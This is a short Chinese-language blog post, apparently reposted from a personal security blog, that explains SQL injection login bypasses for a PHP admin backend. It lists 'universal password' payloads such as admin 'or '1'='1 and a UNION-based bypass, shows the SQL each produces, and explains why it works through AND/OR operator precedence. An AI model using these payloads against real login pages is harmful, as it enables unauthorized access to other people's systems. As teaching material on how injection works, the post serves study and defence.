访问 后台 尝试 在用户名 和密码 处输入 ' or 1=1 /* 爆出了 sql 语句。 很明显 存在 注入 并且 magic_quotes_gpc=off 尝试了几个 平时用的 mysql 万能密码 ' or '1'=1 'or '1'='1 -- ' or 1=1 # ..... 很奇怪 居然连 注释 语句都 爆出了了 。说明 不支持注释 或注释语句失效。 当时 认为 无法 突破 因为 密码 部分 直接 在执行sql前 转 md5 了 并且无法注释掉 始终感觉 这样的后台肯定能构造 万能密码的 就拿到群里讨论 某牛 很快找到 构造 了一个万能 密码 进了后台 用户名部分:admin 'or '1'='1 密码部分任意(之前说过 sql 之前就md5 了 构造也徒劳) 也就构成了下面的 sql 语句: $sql = "SELECT * FROM cool_admin WHERE admin_name='admin' or '1'='1' AND admin_pwd='xxoo'"; 我一直想不明白 为什么这样 能成立 一直纠结在 成立 或者 成立 和 不成立 =成立 ?(我逻辑思维很差) 按照这样的思维 始终想 不通 。 可惜这是 程序 语言 不是人 不能按照自己的思维习惯来 思考 考虑很久 也考虑不出 什么 原因, 某牛指出 www.2cto.com "构造语句 要考虑优先级 " 我顿时 茅塞顿开 .... 程序 有执行 优先级的。 马上查看了相关资料: where 后面如果有and,or的条件,则or自动会把左右的查询条件分开,即先执行and,再执行or。原因就是:and的执行优先级最高! 关系型运算符优先级高到低为:not and or 随后建了个表 测试了下 如图:
看了图就很容易理解了。 =================================================================== 另一个新型后台万能密码 分析: 输入admin' or 'a'='a 爆出下面语句 SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id ='admin' OR 'a'='a' AND 'a'='a' 构造 'union select * FROM users WHERE login_id ='admin 顺利绕过 语句 SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id =''union select * FROM users WHERE login_id ='admin 利用二次查询顺利绕过 作者 XSnake's Blog
查看更多关于后台万能密码登陆分析 - 网站安全 - 自学php的详细内容...